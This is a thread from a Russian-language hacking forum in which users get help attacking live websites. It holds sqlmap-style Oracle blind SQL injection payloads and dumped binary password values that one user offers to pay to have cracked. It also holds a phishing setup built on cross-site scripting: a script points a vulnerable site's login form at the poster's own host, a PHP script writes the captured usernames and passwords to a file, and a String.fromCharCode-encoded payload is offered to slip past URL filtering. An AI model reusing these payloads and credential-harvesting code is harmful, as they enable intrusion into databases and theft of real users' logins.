Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
31.07.2015, 15:35
|
|
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами:
8258006
Репутация:
25
|
|
Сообщение от Pro100Nyan
↑
Здравствуйте есть шелл на сервере Windows NT SERVER, нужно узнать какие домены на нем установлены, как можно это узнать ?)) Стоит наверно IIRF(хз что это но такие файлы есть в корне сайтов) вот такие файлы IIRF.ini
Reverse IP не помогает?
|
|
|
31.07.2015, 15:49
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
|
|
|
|
31.07.2015, 16:29
|
|
Новичок
Регистрация: 15.03.2013
Сообщений: 4
С нами:
6927446
Репутация:
0
|
|
К сожалению там нету такого файла, там одни только .dll файлы
|
|
|
|
31.07.2015, 16:30
|
|
Познающий
Регистрация: 16.08.2012
Сообщений: 92
С нами:
7231286
Репутация:
0
|
|
Кто-нибудь может в личке помочь и глянуть один сайт? DB Oracle язвимость
Place: GET
Parameter: SL
Type: boolean-based blind
Title: Oracle boolean-based blind - GROUP BY and ORDER BY clauses
Payload: ...&SL=54,(SELECT (CASE WHEN (7590=7590) THEN 54 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Type: AND/OR time-based blind
Title: Oracle time-based blind - GROUP BY and ORDER BY clauses (DBMS_PIPE.RECEIVE_MESSAGE)
Payload: ....&SL=54,(SELECT (CASE WHEN (9646=9646) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(101)||CHR(9 7)||CHR(117),5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
Всё выдётся отлично, вывод хороший, стабильный. Но вместо хеша или пароля в табличке юзоров выдаётся какая-то символьная фигня типа:
\x1c\x1f\x17\x18\x0ev\x1fjt\x15}
Притом это не на одном сайте, а на всех сайтах этой платформы.
Кто имеет время глянуть, напишите в личку, я скину урл. Очень важные для меня сайты на этой полатформе, я бьюсь в отчаянии, не знаю что делать. ПОМОГИТЕ!!!!!!
UPDATE: прогнала SQLMAP с режимом --binary-fields=PASSWORD, похоже, что пароли хранятся в бинарном виде. Выдаёт следующее:
157E02680F7F
1B0C130E197B620B7316
131E091001
171E0A0B057F620C7E12
00051D00087D6B087F17
171D1C0D0B676A08711D
0A00011F0A076F0F07600B0A
Что это за хеши такие? Oracle(DES)? или...? есть идеи?
PS можно платно
|
|
|
|
03.08.2015, 12:02
|
|
Новичок
Регистрация: 06.07.2015
Сообщений: 12
С нами:
5713526
Репутация:
0
|
|
Почему у меня ничего не записывает php?
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
Вставляю этот скрипт
------------------------------------------------------------------------------------------------------------
document.lsform.action=‘ http://hosting.ru/base.php’
------------------------------------------------------------------------------------------------------------
в страницу где форма
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
И ничего не происходит,в чем может быть проблема? |
|
|
|
03.08.2015, 14:32
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417383
Репутация:
0
|
|
Сообщение от djon
↑
Почему у меня ничего не записывает php?
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
Вставляю этот скрипт
------------------------------------------------------------------------------------------------------------
document.lsform.action=‘
http://hosting.ru/base.php’
------------------------------------------------------------------------------------------------------------
в страницу где форма
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
И ничего не происходит,в чем может быть проблема?
Код:
$url = "";
$ls_username = $_POST['ls_username'];
$ls_password = $_POST['ls_password'];
if ($ls_username != null){
if ($ls_password != null) {
$open=fopen('base.txt',"a");
fwrite($open,"$ls_username;$ls_password\n");
fclose($open);
}
}
|
|
|
|
03.08.2015, 15:52
|
|
Новичок
Регистрация: 29.07.2015
Сообщений: 5
С нами:
5680406
Репутация:
0
|
|
Почему информация об ошибке выводиться только при .php?c=1 group by . Если указывать ' , union , by order или любые другие способы, то ничего не выводит?
|
|
|
|
04.08.2015, 00:44
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Нет инъекции. Только ошибка.
|
|
|
|
04.08.2015, 08:44
|
|
Новичок
Регистрация: 06.07.2015
Сообщений: 12
С нами:
5713526
Репутация:
0
|
|
Почему когда вставляю код (
document.getElementById('lsform').action="http://МойХостинг1.ru/base.php?";)
на сайт где есть активная xss,то она преобразуется так (УязвимыйСайт.ru/base.php)и пишет что "страница не найдена" а на втором моем хостинге где расположена копия сайта (УязвимыйСайт.ru/forum.php) по адрессу (http://МойХостинг2.ru) то логины и пароли идут нормально после нажатия на кнопку Вход,и после нажатия она переадресовывается на ("http://МойХостинг1.ru/base.php?")Почему с (УязвимыйСайт.ru/forum.php) не идут пароли ? |
|
|
|
04.08.2015, 12:56
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417383
Репутация:
0
|
|
Попробуйте так. Может там нормализатор ссылок обрезает http://
Код:
String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 108, 115, 102, 111, 114, 109, 39, 41, 46, 97, 99, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 1052, 1086, 1081, 1061, 1086, 1089, 1090, 1080, 1085, 1075, 49, 46, 114, 117, 47, 98, 97, 115, 101, 46, 112, 104, 112, 63, 34, 59);
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
